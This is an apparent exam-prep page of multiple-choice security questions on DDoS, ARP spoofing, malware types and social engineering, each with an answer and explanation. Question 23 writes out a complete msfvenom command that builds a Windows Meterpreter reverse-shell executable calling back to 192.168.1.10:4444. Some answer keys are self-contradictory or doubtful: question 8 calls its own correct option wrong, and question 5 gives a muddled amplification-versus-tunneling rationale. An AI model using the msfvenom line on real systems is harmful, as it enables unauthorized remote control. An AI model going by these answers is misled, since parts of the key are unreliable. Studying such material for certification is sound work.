Courseiva

CCNA Malware, Social Engineering and Network Attacks Questions

75 of 179 questions · Page 1/3 · Malware, Social Engineering and Network Attacks · Answers revealed

Practice these questionsDomain overviewAll questions
1
MCQmedium

Which DDoS attack type exploits a small query to a vulnerable service that generates a large response directed at the victim?

A.Amplification attack
B.HTTP flood
C.SYN flood
D.ICMP flood
AnswerA

An amplification attack leverages vulnerable, open UDP services (like DNS, NTP, or Memcached) as reflectors to magnify traffic. Attackers send small, spoofed query packets to these services, with the source IP address set to the victim's IP. The reflector service then responds with a significantly larger response packet, directed at the unsuspecting victim, multiplying the attack traffic volume and overwhelming the target.

Why this answer

An amplification attack is correct because it exploits a small query (e.g., a DNS lookup with a spoofed source IP) sent to a vulnerable service like an open DNS resolver or NTP server, which then generates a large response (e.g., 50-100x the query size) directed at the victim. This leverages the protocol's amplification factor and the lack of source IP validation, overwhelming the victim's bandwidth. The attack is a type of reflection attack, where the intermediary service unwittingly amplifies traffic toward the target.

Exam trap

The trap here is that candidates confuse amplification attacks with simple volumetric floods (like ICMP or SYN floods), failing to recognize that the key differentiator is the use of a vulnerable service that generates a disproportionately large response from a small query.

How to eliminate wrong answers

Option B is wrong because an HTTP flood is a Layer 7 attack that sends legitimate-looking HTTP GET or POST requests to exhaust server resources, not a small query generating a large response from a vulnerable service. Option C is wrong because a SYN flood exploits the TCP three-way handshake by sending incomplete SYN packets to exhaust connection state tables, not by amplifying a small query into a large response. Option D is wrong because an ICMP flood (e.g., ping flood) directly sends a high volume of ICMP Echo Request packets to saturate bandwidth, without using a vulnerable service to amplify a small query.

Practice this question →
2
MCQmedium

A network administrator notices that the ARP cache on several workstations contains entries mapping the default gateway IP to an unknown MAC address. Users report intermittent connectivity issues. Which tool is MOST likely being used to perform this attack?

A.Ettercap
B.Nmap
C.tcpdump
D.Wireshark
AnswerA

Ettercap is specifically designed for ARP poisoning and MITM attacks.

Why this answer

Ettercap is a comprehensive suite for man-in-the-middle (MITM) attacks on LANs, including ARP cache poisoning. By sending forged ARP replies, it maps the default gateway IP to an attacker-controlled MAC address, causing traffic to be intercepted and resulting in intermittent connectivity. This directly matches the symptoms described.

Exam trap

The trap here is that candidates often confuse packet capture tools (tcpdump, Wireshark) with attack tools, forgetting that ARP poisoning requires actively sending forged packets, not just passive monitoring.

How to eliminate wrong answers

Option B is wrong because Nmap is a network discovery and security scanning tool used for port scanning and OS detection, not for actively poisoning ARP caches or performing MITM attacks. Option C is wrong because tcpdump is a command-line packet analyzer used for capturing and displaying network traffic, not for injecting forged ARP packets. Option D is wrong because Wireshark is a GUI-based packet analyzer for deep inspection of captured traffic, but it does not have built-in functionality to send crafted ARP replies to poison caches.

Practice this question →
3
MCQhard

A SOC analyst observes a high number of incomplete TCP connections with the SYN flag set but no corresponding ACK from the target. The source IPs are spoofed and the connections are targeting port 80 on a web server. Which DDoS mitigation technique would be MOST effective in this scenario?

A.SYN cookies
B.Rate limiting
C.Anycast distribution
D.Ingress filtering
AnswerA

SYN cookies are a highly effective defense against SYN flood attacks, which cause a high number of incomplete TCP connections. This mechanism encodes all necessary connection state information into the SYN-ACK sequence number, allowing the server to avoid allocating resources (like Transmission Control Blocks) until the client sends a valid final ACK. By deferring state allocation, the server prevents resource exhaustion from half-open connections, only committing resources for fully established sessions.

Why this answer

SYN cookies are the most effective mitigation against SYN flood attacks because they allow the server to avoid allocating resources for half-open connections until the handshake is completed. When the SYN queue is full, the server generates a cookie based on the connection parameters and sends it in the SYN-ACK; only when the client returns a valid ACK with the cookie does the server establish the connection. This technique prevents resource exhaustion from spoofed SYN packets targeting port 80.

Exam trap

The trap here is that candidates often choose 'Ingress filtering' because it addresses spoofed IPs, but they miss that the question asks for a mitigation technique during an ongoing attack, not a long-term preventive measure.

How to eliminate wrong answers

Option B (Rate limiting) is wrong because it indiscriminately throttles all traffic to port 80, which can block legitimate users and does not distinguish between spoofed SYN floods and genuine requests. Option C (Anycast distribution) is wrong because it distributes traffic across multiple data centers but does not prevent the server from processing malicious SYN packets; the flood still reaches each destination and can overwhelm the server. Option D (Ingress filtering) is wrong because it relies on ISPs to drop packets with spoofed source IPs at the network edge, which is a preventive measure but not a real-time mitigation technique once the attack is already hitting the target server.

Practice this question →
4
Multi-Selectmedium

Which TWO of the following are characteristics of a polymorphic virus? (Select 2)

Select 2 answers
A.It spreads without user interaction.
B.It attaches to a host file and does not change.
C.It changes its code signature on each infection.
D.It uses encryption to hide its payload.
E.It only infects the boot sector.
AnswersC, D

A defining characteristic of a polymorphic virus is its ability to alter its internal code structure and encryption key with every new infection. This constant mutation generates a unique code signature for each instance, making it extremely challenging for traditional signature-based antivirus software to detect and identify it consistently across different infected systems or files.

Why this answer

A polymorphic virus mutates its code signature with each infection, using a mutation engine to generate new decryption routines or code patterns while preserving the core payload. This signature change evades signature-based detection by antivirus software, as the virus appears different in every infected file.

Exam trap

The trap here is that candidates often confuse polymorphic viruses with worms (which spread without user interaction) or assume all viruses are static, overlooking the key defining feature of code mutation on each infection.

Practice this question →
5
MCQhard

An IDS alerts on a large number of outbound DNS queries from an internal host to a suspicious domain. The queries have random subdomains and the response size is large. Which attack is MOST likely in progress?

A.Slowloris attack
B.UDP flood
C.DNS amplification attack
D.DNS tunneling
AnswerC

Correct. The large responses and random subdomains indicate an amplification attack.

Why this answer

The described behavior—large numbers of outbound DNS queries with random subdomains and large response sizes—is the hallmark of a DNS amplification attack. In this attack, the attacker spoofs the victim's IP address and sends queries with random subdomains to open DNS resolvers, which then send large responses (often 10x to 50x larger than the query) to the victim, overwhelming their bandwidth. The IDS alerts on the outbound queries from the internal host because that host is the victim receiving the amplified responses, not the attacker.

Exam trap

The trap here is that candidates confuse DNS tunneling with DNS amplification because both involve DNS queries, but the key differentiator is the large response size in amplification versus the small, covert data payloads in tunneling.

How to eliminate wrong answers

Option A is wrong because a Slowloris attack is a low-and-slow HTTP DoS attack that keeps many connections open by sending partial HTTP requests, not involving DNS queries or large response sizes. Option B is wrong because a UDP flood sends a high volume of UDP packets (often to random ports) to consume bandwidth, but it does not rely on DNS queries with random subdomains or the amplification effect from DNS resolvers. Option D is wrong because DNS tunneling encodes data (e.g., for C2 exfiltration) in DNS queries and responses, typically using small, consistent packet sizes to avoid detection, not large response sizes that would trigger alerts.

Practice this question →
6
MCQeasy

Which of the following is a tool commonly used for MAC flooding attacks to force a switch into fail-open mode, allowing sniffing of all traffic on the network?

A.Ettercap
B.macof
C.Nmap
D.Wireshark
AnswerB

macof is specifically designed for MAC flooding.

Why this answer

macof is a tool specifically designed to perform MAC flooding attacks. It generates thousands of random MAC addresses, overwhelming the switch's Content Addressable Memory (CAM) table. When the CAM table is full, the switch enters fail-open mode (hub mode), forwarding all frames out of all ports, which allows an attacker to sniff traffic that would normally be isolated.

Exam trap

EC-CEH often tests the distinction between MAC flooding (which targets the switch's CAM table) and ARP poisoning (which targets host ARP caches), so candidates frequently confuse Ettercap (an ARP poisoning tool) with macof (the correct MAC flooding tool).

How to eliminate wrong answers

Option A is wrong because Ettercap is a comprehensive suite for man-in-the-middle attacks (e.g., ARP poisoning, DNS spoofing) but does not perform MAC flooding; it relies on poisoning the ARP cache of hosts, not overflowing the switch's CAM table. Option C is wrong because Nmap is a network scanning and reconnaissance tool used for port scanning, OS detection, and service enumeration; it has no capability to generate MAC floods or manipulate switch forwarding behavior. Option D is wrong because Wireshark is a packet analyzer used for capturing and inspecting network traffic; it cannot generate traffic to flood a switch's CAM table and is a passive tool, not an active attack tool.

Practice this question →
7
MCQeasy

A security analyst notices that an internal server is sending a high volume of DNS queries to external servers for non-existent domains. Which type of malware behavior is MOST likely being observed?

A.Spyware exfiltrating data
B.A keylogger capturing keystrokes
C.A worm spreading across the network
D.Ransomware encrypting files
AnswerC

Worms are self-propagating malware that actively seek out and infect new hosts across a network without user interaction. Their propagation mechanisms frequently involve scanning IP ranges or performing numerous DNS lookups to discover vulnerable machines or services. High-volume DNS queries, especially for non-existent domains, are a classic indicator of a worm actively attempting to resolve hostnames or discover new targets during its infection cycle.

Why this answer

A high volume of DNS queries to external servers for non-existent domains is a classic indicator of a worm using DNS as a covert channel for command-and-control (C2) communication or propagation. Worms often generate random domain names (e.g., Domain Generation Algorithm, DGA) to evade static blocklists, and the high query rate reflects attempts to resolve these domains to locate a C2 server or to spread to new hosts via DNS-based discovery.

Exam trap

CEH often tests the misconception that high DNS query volume for non-existent domains is always data exfiltration (spyware), but the key differentiator is the random, high-frequency pattern typical of DGA-based worms, not the structured, low-frequency pattern of exfiltration.

How to eliminate wrong answers

Option A is wrong because spyware typically exfiltrates data via HTTP/HTTPS or custom protocols to a known C2 server, not by generating high volumes of DNS queries for non-existent domains; such behavior would be inefficient and easily detected. Option B is wrong because a keylogger captures keystrokes locally and stores or sends them in small, periodic bursts, not by flooding DNS with queries for non-existent domains. Option D is wrong because ransomware encrypts files and usually communicates with a C2 server for key exchange via standard web traffic, not by generating high volumes of DNS queries for non-existent domains; the high query rate is more indicative of a worm's propagation or DGA activity.

Practice this question →
8
MCQeasy

A penetration tester receives an email that appears to be from the company's CEO, urgently requesting that the tester click a link to review a document. The email contains several grammatical errors and the sender's address is slightly misspelled. Which type of social engineering attack is this MOST likely?

A.Whaling
B.Baiting
C.Vishing
D.Spear phishing
AnswerD

Spear phishing involves crafting highly personalized email attacks directed at a specific individual, group, or role within an organization, leveraging known information about the target to increase credibility. The attacker often impersonates a trusted entity, such as a CEO, to manipulate the recipient into performing a desired action, like clicking a malicious link. In this case, the email is specifically tailored and sent to a penetration tester, impersonating the CEO, which precisely fits the definition of a spear phishing attempt due to its targeted nature and social engineering tactics.

Why this answer

This attack is spear phishing because the email is targeted at a specific individual (the penetration tester) and impersonates a trusted source (the CEO) to trick the recipient into clicking a malicious link. While whaling targets high-level executives, spear phishing targets any specific person, and here the recipient is not a senior executive. The grammatical errors and misspelled sender address are common indicators of phishing, but the targeted nature distinguishes it from generic phishing.

Exam trap

In EC-CEH, whaling specifically targets C-level executives as victims, whereas spear phishing targets any specific individual. Candidates often mistake the impersonation of a CEO as whaling, but the key is who the recipient is. Since the recipient is a penetration tester (not a senior executive), this is spear phishing.

How to eliminate wrong answers

Option B (Baiting) is wrong because baiting involves offering something enticing (e.g., a free USB drive or download) to trick the victim, not sending a deceptive email. Option C (Vishing) is wrong because vishing is voice-based social engineering conducted over phone calls, not via email. Option D (Spear phishing) is wrong because while the email is targeted, spear phishing typically targets any specific individual or group within an organization, not exclusively high-ranking executives like a CEO; whaling is a subtype of spear phishing that focuses on senior management.

Practice this question →
9
MCQhard

A security analyst detects an ongoing DDoS attack where the attacker sends a large number of ICMP echo request packets with spoofed source IP addresses to a network's broadcast address. The attack overwhelms the target with responses from all hosts on the network. Which attack type is this?

A.UDP flood
B.SYN flood
C.Smurf attack
D.Ping of Death
AnswerC

Smurf uses ICMP echo requests to broadcast address with spoofed source, causing amplification.

Why this answer

A Smurf attack exploits IP broadcast addressing and ICMP echo requests. The attacker sends ICMP echo request packets with a spoofed source IP (the victim's IP) to the network's broadcast address, causing every host on that network to reply to the victim, overwhelming it with ICMP echo replies. This amplification effect makes the attack highly effective, as a single request generates many responses.

Exam trap

The trap is confusing a Smurf attack with a simple ICMP flood or Ping of Death, which do not involve the broadcast amplification mechanism.

How to eliminate wrong answers

Option A is wrong because a UDP flood targets random ports on a victim with high volumes of UDP packets, not ICMP echo requests sent to a broadcast address. Option B is wrong because a SYN flood exploits the TCP three-way handshake by sending incomplete SYN packets to exhaust connection resources, not ICMP traffic. Option D is wrong because a Ping of Death sends a single malformed oversized ICMP packet to crash a system, not a flood of normal-sized ICMP echo requests to a broadcast address.

Practice this question →
10
MCQeasy

Which tool is commonly used for ARP spoofing attacks to perform man-in-the-middle (MITM) attacks on a local network?

A.Nmap
B.Ettercap
C.Wireshark
D.Metasploit
AnswerB

Ettercap supports ARP poisoning, DNS spoofing, and other MITM techniques.

Why this answer

Ettercap is a dedicated suite for man-in-the-middle attacks on LAN, with built-in ARP spoofing capabilities. It actively sends forged ARP replies to poison the ARP cache of target hosts, allowing the attacker to intercept, modify, or drop traffic between them. This makes it the standard tool for ARP-based MITM attacks.

Exam trap

The trap here is that candidates confuse passive sniffing tools like Wireshark with active interception tools, or assume Metasploit's broad capabilities include ARP spoofing as its primary function, when Ettercap is the specialized tool for this task.

How to eliminate wrong answers

Option A is wrong because Nmap is a network discovery and port scanning tool; it does not perform ARP spoofing or packet interception. Option C is wrong because Wireshark is a passive packet analyzer that captures traffic but cannot inject forged ARP packets to redirect flows. Option D is wrong because Metasploit is a penetration testing framework focused on exploit development and payload delivery, not a dedicated ARP spoofing tool, though it may include auxiliary modules for ARP poisoning, it is not the primary or most commonly used tool for this specific attack.

Practice this question →
11
MCQmedium

A security analyst notices that a web server is experiencing slow response times, and the connection logs show many incomplete HTTP requests from various IP addresses, each keeping connections open for long periods. Which attack is MOST likely occurring?

A.HTTP flood
B.Slowloris attack
C.SYN flood
D.UDP flood
AnswerB

A Slowloris attack is a sophisticated application-layer denial-of-service (DoS) technique that targets web servers by holding open as many connections as possible for as long as possible. It achieves this by sending partial HTTP requests, such as incomplete headers, and then periodically sending small, non-essential data to keep the connection alive. This strategy exhausts the server's limited connection pool, preventing new, legitimate connections from being established and effectively denying service to other users.

Why this answer

The Slowloris attack works by opening multiple HTTP connections to the target web server and sending partial HTTP headers, then keeping those connections alive by sending periodic small packets to prevent timeout. This exhausts the server's connection pool, leading to slow response times and denial of service for legitimate users, matching the described symptoms of incomplete requests and long-held connections.

Exam trap

The trap here is that candidates often confuse Slowloris with a SYN flood because both involve incomplete connections, but Slowloris operates at the application layer (HTTP) using partial headers, while SYN flood operates at the transport layer (TCP) using incomplete handshakes.

How to eliminate wrong answers

Option A is wrong because an HTTP flood sends complete, legitimate-looking HTTP requests at high volume, not incomplete requests that keep connections open. Option C is wrong because a SYN flood exploits the TCP three-way handshake by sending many SYN packets without completing the handshake, overwhelming the server's SYN queue, not by keeping established HTTP connections open. Option D is wrong because a UDP flood targets the server with high volumes of UDP packets, often to random ports, causing resource exhaustion from ICMP responses or application processing, not by maintaining persistent HTTP connections.

Practice this question →
12
MCQeasy

Which type of malware is designed to replicate itself across networks without requiring a host file, often exploiting vulnerabilities to spread?

A.Trojan
B.Ransomware
C.Worm
D.Virus
AnswerC

A worm is a standalone malicious program specifically designed to self-replicate and spread across computer networks without requiring a host program or user intervention. Worms exploit vulnerabilities in operating systems or applications to propagate autonomously, often consuming network bandwidth or system resources. Their defining characteristic is their ability to duplicate themselves and spread independently to other systems, making them highly effective at rapid dissemination.

Why this answer

A worm is a standalone malware program that replicates itself across networks without needing a host file, typically exploiting vulnerabilities such as unpatched SMB services (e.g., EternalBlue in WannaCry) or weak credentials to propagate autonomously. Unlike viruses, worms do not require attachment to an existing executable or document, and they spread by scanning for vulnerable targets and transferring their code over network protocols like TCP/IP.

Exam trap

The trap here is that candidates confuse a worm with a virus because both self-replicate, but the key differentiator is that a worm does not require a host file and spreads autonomously over networks, while a virus needs a host and user action.

How to eliminate wrong answers

Option A is wrong because a Trojan disguises itself as legitimate software to trick users into executing it, but it does not self-replicate across networks; it relies on social engineering for initial installation. Option B is wrong because ransomware encrypts files or locks systems for extortion, and while it may use worm-like propagation (e.g., WannaCry), its primary purpose is not self-replication but data hostage-taking; the question specifically asks for malware designed to replicate itself. Option D is wrong because a virus requires a host file (e.g., an executable, script, or document) to attach to and relies on user action (e.g., opening a file) to spread, whereas the question specifies replication without a host file.

Practice this question →
13
MCQmedium

During a penetration test, an attacker gains access to a system and wants to maintain persistent remote control. Which type of Trojan is specifically designed for this purpose?

A.Ransomware
B.Backdoor
C.Keylogger
D.Downloader
AnswerB

A backdoor is specifically designed to bypass normal authentication and security mechanisms, providing an attacker with covert and persistent remote access to a compromised system. This unauthorized access allows for full control, including command execution, file manipulation, and further exploitation, directly enabling the attacker to 'gain access' and maintain control over the system.

Why this answer

A backdoor Trojan is specifically designed to bypass normal authentication mechanisms and provide an attacker with persistent, unauthorized remote access to a compromised system. Unlike other Trojans that perform a single malicious action, backdoors often install services or modify system startup entries (e.g., registry Run keys, cron jobs) to survive reboots, ensuring long-term control.

Exam trap

The CEH exam often tests the distinction between a backdoor (which provides ongoing remote control) and a downloader (which only fetches other malware), leading candidates to mistakenly choose 'Downloader' because they associate it with remote access, but a downloader does not itself maintain persistence or control.

How to eliminate wrong answers

Option A is wrong because ransomware is designed to encrypt files and demand payment for decryption, not to provide persistent remote access. Option C is wrong because a keylogger captures keystrokes to steal credentials or data, but it does not grant remote control or persistence. Option D is wrong because a downloader Trojan is used to fetch and install additional malware from a remote server, but it is not itself a tool for maintaining persistent remote access.

Practice this question →
14
MCQmedium

A security analyst notices that a web server is responding very slowly to legitimate requests. The server logs show many incomplete HTTP GET requests that never complete, each opened slowly over time from many different IP addresses. Which attack is most likely occurring?

A.Ping of Death
B.HTTP flood
C.SYN flood
D.Slowloris
AnswerD

Slowloris sends slow partial HTTP headers to keep connections open.

Why this answer

Slowloris is a denial-of-service attack that works by opening multiple HTTP connections to a target web server and sending partial HTTP GET requests, never completing them. The server keeps these connections open waiting for the request to finish, eventually exhausting its connection pool and denying service to legitimate users. The key indicators are many incomplete GET requests from diverse IPs and slow server response, which match the scenario exactly.

Exam trap

The trap here is that candidates confuse a SYN flood (TCP layer) with Slowloris (HTTP layer) because both involve incomplete connections, but the key distinction is that Slowloris targets the HTTP protocol with partial GET requests, not the TCP handshake.

How to eliminate wrong answers

Option A is wrong because Ping of Death involves sending oversized ICMP packets to crash a system, not slow HTTP requests. Option B is wrong because an HTTP flood sends complete, rapid HTTP requests to overwhelm the server, not incomplete ones sent slowly. Option C is wrong because a SYN flood exploits the TCP three-way handshake by sending many SYN packets without completing the handshake, targeting the TCP stack, not HTTP-level connections.

Practice this question →
15
Multi-Selectmedium

Which TWO of the following are characteristics of a polymorphic virus? (Choose 2)

Select 2 answers
A.It does not require a host file to spread
B.It changes its code signature each time it replicates
C.It uses a mutation engine to generate new decryption routines
D.It only infects the master boot record
E.It attaches to email messages automatically
AnswersB, C

A fundamental characteristic of a polymorphic virus is its ability to alter its executable code, or "signature," with each new infection or replication. This constant mutation makes it extremely difficult for traditional signature-based antivirus software to detect and identify the virus, as its binary pattern is never the same. The core malicious functionality remains intact, but its outward appearance changes, effectively evading static detection methods.

Why this answer

A polymorphic virus changes its code signature each time it replicates, which is its defining characteristic. This mutation is achieved by altering the decryption routine or the virus body itself, making signature-based detection difficult. The virus maintains its original functionality while evading static antivirus signatures.

Exam trap

The trap here is that candidates may confuse polymorphic viruses with other malware types, such as worms (which spread without a host) or boot sector viruses (which target the MBR), leading them to select options that describe different malware categories.

Practice this question →
16
MCQeasy

Which tool is specifically designed to automate social engineering attacks, such as phishing and credential harvesting?

A.Wireshark
B.Nmap
C.Metasploit
D.SET
AnswerD

SET is the Social Engineering Toolkit, designed for automating social engineering attacks.

Why this answer

The Social Engineering Toolkit (SET) is an open-source Python-driven framework specifically designed to automate social engineering attacks, including phishing campaigns, credential harvesting via cloned websites, and spear-phishing payloads. It integrates with Metasploit for payload delivery but is distinct in its focus on manipulating human behavior rather than exploiting technical vulnerabilities.

Exam trap

The trap here is that candidates confuse Metasploit's broad exploitation capabilities with SET's specialized social engineering automation, forgetting that SET is the dedicated tool for phishing and credential harvesting in the CEH toolkit.

How to eliminate wrong answers

Option A is wrong because Wireshark is a network protocol analyzer used for packet capture and traffic inspection, not for automating social engineering attacks. Option B is wrong because Nmap is a network scanning tool used for host discovery and port enumeration, lacking any social engineering automation capabilities. Option C is wrong because Metasploit is a penetration testing framework focused on exploiting technical vulnerabilities and delivering payloads, but it does not natively automate phishing or credential harvesting workflows; SET is the specialized tool for that purpose.

Practice this question →
17
MCQmedium

A security analyst notices that a server is sending an unusually high number of SYN packets to multiple external hosts, but the connections are never completed. The server is most likely involved in which type of attack?

A.Ping of Death
B.Smurf attack
C.UDP flood
D.SYN flood
AnswerD

Correct. A SYN flood sends many SYN packets with no final ACK, overwhelming the target.

Why this answer

A SYN flood attack exploits the TCP three-way handshake by sending a high volume of SYN packets to a target without completing the handshake (no final ACK). The server in this scenario is the attacker, generating these incomplete SYN connections to exhaust the target's resources, such as the SYN backlog queue, leading to denial of service.

Exam trap

The CEH exam often tests the distinction between the attacker's role (sending SYN packets) and the victim's role (receiving them), so candidates may mistakenly think the server is the victim of a SYN flood rather than the source of the attack.

How to eliminate wrong answers

Option A is wrong because a Ping of Death involves sending oversized or malformed ICMP packets to crash a system, not a flood of TCP SYN packets. Option B is wrong because a Smurf attack uses ICMP echo requests with a spoofed source IP to broadcast addresses, causing amplification, not TCP SYN packets. Option C is wrong because a UDP flood sends a high volume of UDP datagrams to random ports, overwhelming the target, but does not involve TCP SYN packets or the three-way handshake.

Practice this question →
18
MCQmedium

After a security incident, an analyst retrieves a suspicious file. The analyst runs the 'strings' command on it and sees references to 'CreateRemoteThread' and 'WriteProcessMemory'. Which technique does this indicate?

A.DLL hijacking
B.Privilege escalation
C.Process injection
D.Buffer overflow
AnswerC

Process injection is a sophisticated technique where an attacker writes malicious code into the address space of a legitimate, running process and then forces that process to execute it. The `WriteProcessMemory` API is crucial for writing the attacker's shellcode or payload into the target process's memory. Subsequently, `CreateRemoteThread` is commonly used to create a new thread within the remote process, directing its execution flow to the starting address of the newly injected code, thereby achieving execution within the target's context.

Why this answer

The presence of 'CreateRemoteThread' and 'WriteProcessMemory' in the output of the 'strings' command is a strong indicator of process injection. These Windows API functions are commonly used together to allocate memory in a target process (VirtualAllocEx), write malicious code into that memory (WriteProcessMemory), and then execute it in the context of the remote process (CreateRemoteThread). This technique allows an attacker to run arbitrary code within a legitimate process, bypassing security controls.

Exam trap

The EC-CEH exam often tests the distinction between process injection and DLL hijacking. Candidates mistakenly associate any DLL-related API call with DLL hijacking, but the key differentiator is that process injection explicitly uses WriteProcessMemory and CreateRemoteThread to write and execute code in a remote process, whereas DLL hijacking relies on search order manipulation without direct memory writing.

How to eliminate wrong answers

Option A is wrong because DLL hijacking involves tricking a legitimate application into loading a malicious DLL by placing it in a directory where the application searches first, not by using API calls to inject code into a remote process. Option B is wrong because privilege escalation typically exploits vulnerabilities or misconfigurations to gain higher-level access rights (e.g., SeBackupPrivilege abuse, token manipulation), and does not inherently rely on WriteProcessMemory and CreateRemoteThread. Option D is wrong because a buffer overflow exploits memory corruption to overwrite adjacent data or control flow (e.g., overwriting a return address on the stack), not by explicitly calling WriteProcessMemory and CreateRemoteThread to inject code into another process.

Practice this question →
19
Multi-Selectmedium

Which TWO of the following are examples of application layer DDoS attacks? (Select two.)

Select 2 answers
A.Slowloris
B.UDP flood
C.Smurf attack
D.HTTP flood
E.SYN flood
AnswersA, D

Correct. Slowloris keeps many connections open to exhaust server resources.

Why this answer

Slowloris is an application layer DDoS attack that targets HTTP servers by opening multiple connections and sending partial HTTP requests, keeping them open as long as possible. It exploits the server's connection handling by sending incomplete headers, preventing the server from timing out the connection and exhausting its connection pool. This attack operates at Layer 7 and does not require high bandwidth, making it effective against web servers.

Exam trap

The CEH exam often tests the distinction between Layer 4 (transport) and Layer 7 (application) attacks, and the trap here is that candidates may confuse SYN flood (a TCP-based Layer 4 attack) with an application layer attack because it targets web servers, but it operates at a lower layer of the OSI model.

Practice this question →
20
Multi-Selecthard

Which THREE of the following are techniques used in session hijacking? (Select three.)

Select 3 answers
A.ARP poisoning
B.DNS amplification
C.TCP sequence prediction
D.Cookie theft
E.MAC flooding
AnswersA, C, D

Correct. ARP poisoning enables MITM, which can be used to hijack sessions.

Why this answer

ARP poisoning is correct because it allows an attacker on the same local network to associate their MAC address with the IP address of a legitimate host (e.g., the default gateway). This redirects traffic through the attacker's machine, enabling them to intercept and hijack active sessions by capturing or modifying packets in transit, a classic man-in-the-middle (MITM) technique used in session hijacking.

Exam trap

The trap here is that candidates confuse network reconnaissance or DoS techniques (like DNS amplification or MAC flooding) with active session hijacking methods, which require direct manipulation of session tokens or TCP state.

Practice this question →
21
MCQeasy

Which of the following tools is specifically designed for ARP poisoning and can be used to perform man-in-the-middle attacks on a local network?

A.Nmap
B.Wireshark
C.Metasploit
D.Ettercap
AnswerD

Ettercap is a comprehensive, open-source suite specifically designed for man-in-the-middle (MITM) attacks on local area networks, alongside network sniffing, content filtering, and active protocol dissection. It natively supports various MITM techniques, including robust ARP poisoning (ARP spoofing), which allows it to intercept traffic between two hosts by sending forged ARP replies. This capability makes Ettercap a primary and highly effective tool for manipulating network traffic flows and performing session hijacking or data interception.

Why this answer

Ettercap is specifically designed for ARP poisoning and man-in-the-middle (MITM) attacks on a local network. It exploits the Address Resolution Protocol (ARP) by sending forged ARP replies to associate the attacker's MAC address with the IP address of a legitimate host, thereby intercepting traffic between two hosts on the same subnet.

Exam trap

The trap here is that candidates may confuse Metasploit's broad exploit capabilities with Ettercap's specialized ARP poisoning functionality, or assume that Wireshark's packet capture implies active attack capabilities, when in fact Ettercap is the quintessential tool for ARP-based MITM attacks on a LAN.

How to eliminate wrong answers

Option A is wrong because Nmap is a network scanning and discovery tool used for port scanning, OS detection, and service enumeration; it does not perform ARP poisoning or MITM attacks. Option B is wrong because Wireshark is a packet analyzer and network protocol sniffer used for passive traffic capture and analysis; it lacks active ARP spoofing capabilities. Option C is wrong because Metasploit is a penetration testing framework that includes many exploit modules, but it is not specifically designed for ARP poisoning; while it may have auxiliary modules for ARP spoofing, Ettercap is the dedicated tool for this purpose.

Practice this question →
22
MCQeasy

Which of the following is a characteristic of a polymorphic virus?

A.It changes its code pattern with each infection to evade detection
B.It remains dormant until a specific date
C.It spreads without user interaction
D.It attaches to the boot sector of a hard drive
AnswerA

Polymorphic malware, such as a polymorphic virus, possesses the sophisticated ability to alter its internal code structure and signature with every new infection or replication. This mutation typically involves encrypting its payload with a different key and using a varying decryption routine, making each instance appear unique. This constant code transformation is a primary tactic to bypass traditional signature-based antivirus software, which relies on identifying fixed patterns, thereby significantly increasing its stealth and persistence within a system.

Why this answer

A polymorphic virus is designed to change its code pattern—often by using a mutation engine that generates new decryption routines or alters the payload's signature—each time it infects a new file or system. This constant mutation makes it difficult for signature-based antivirus solutions to detect it because the virus's binary fingerprint is never the same across infections.

Exam trap

The trap here is that candidates confuse 'polymorphic' with other malware types like worms or boot sector viruses, focusing on propagation methods or triggers instead of the defining characteristic of code mutation to evade signature-based detection.

How to eliminate wrong answers

Option B is wrong because a virus that remains dormant until a specific date is a logic bomb or time bomb, not a polymorphic virus; polymorphic viruses are defined by their code-changing ability, not by a trigger condition. Option C is wrong because spreading without user interaction describes a worm, which self-propagates across networks, whereas a virus typically requires some form of user action (e.g., opening a file) to execute and spread. Option D is wrong because attaching to the boot sector of a hard drive defines a boot sector virus, which infects the Master Boot Record (MBR) or Volume Boot Record (VBR), not a polymorphic virus that focuses on altering its own code to evade detection.

Practice this question →
23
MCQhard

A security analyst executes the command 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe' and transfers the file to a target. Which technique is being used?

A.Generating a Trojan
B.Creating a virus
C.Deploying a worm
D.Initiating a DoS attack
AnswerA

The msfvenom command, particularly when generating a Windows payload like a reverse shell or Meterpreter, is designed to create a malicious program that provides remote access and control over a compromised system. This type of payload establishes a persistent backdoor, allowing an attacker to execute commands and exfiltrate data. Such a program, which often relies on social engineering or embedding within legitimate software to trick users into execution, perfectly aligns with the definition and functionality of a Trojan.

Why this answer

The command uses msfvenom to generate a Windows executable payload that establishes a reverse TCP connection back to the attacker's IP (192.168.1.10) on port 4444. This creates a trojan horse—malicious code disguised as a legitimate file (shell.exe)—which, when executed on the target, provides unauthorized remote access. The technique is specifically trojanization, not virus or worm propagation.

Exam trap

EC-CEH often tests the distinction between trojans (user-executed, non-replicating) and viruses (self-replicating by infecting files), so candidates mistakenly choose 'virus' because they associate malicious executables with infection, ignoring the lack of replication mechanism.

How to eliminate wrong answers

Option B is wrong because a virus requires self-replication and insertion into other files or system areas, whereas this payload is a standalone executable that does not replicate. Option C is wrong because a worm autonomously spreads across networks without user interaction, but this file must be manually transferred and executed by the victim. Option D is wrong because a DoS attack aims to disrupt service availability, while this payload establishes a reverse shell for persistent remote control.

Practice this question →
24
Multi-Selectmedium

A security analyst observes a sudden increase in network traffic from many external IPs targeting the company's web server with multiple HTTP GET requests to the same page (/index.php?page=home). The requests appear legitimate but are coming at a very high rate. Which TWO types of attack is the analyst most likely witnessing?

Select 2 answers
A.Smurf attack
B.Volumetric attack
C.Application-layer (Layer 7) attack
D.SYN flood attack
E.Distributed denial-of-service (DDoS) attack
AnswersC, E

An application-layer (Layer 7) attack specifically targets the application layer of the OSI model, exploiting vulnerabilities or resource limitations within the application itself. The observation of a sudden increase in HTTP GET requests directed at a specific web page perfectly aligns with this definition. These requests consume server resources like CPU, memory, and database connections, ultimately leading to service degradation or denial for legitimate users without necessarily saturating network bandwidth.

Why this answer

The attack targets the application layer (Layer 7) by sending numerous HTTP GET requests to a specific page (/index.php?page=home). This type of attack aims to exhaust server resources like CPU, memory, or database connections, as each request appears legitimate but collectively overwhelms the web server's ability to process them. It is a classic example of an HTTP flood, which is a Layer 7 attack.

Exam trap

The trap here is that candidates might confuse a high-rate HTTP GET flood with a volumetric attack (Option B) or a SYN flood (Option D), but the key distinction is that this attack specifically targets the application layer by exhausting server resources through legitimate-looking HTTP requests, not by saturating bandwidth or exploiting TCP handshake mechanics.

Practice this question →
25
MCQmedium

A security analyst receives an alert about a workstation repeatedly sending large volumes of ICMP echo request packets to a broadcast address. Which type of attack is this indicative of?

A.Smurf attack
B.Ping of Death
C.SYN flood
D.Slowloris
AnswerA

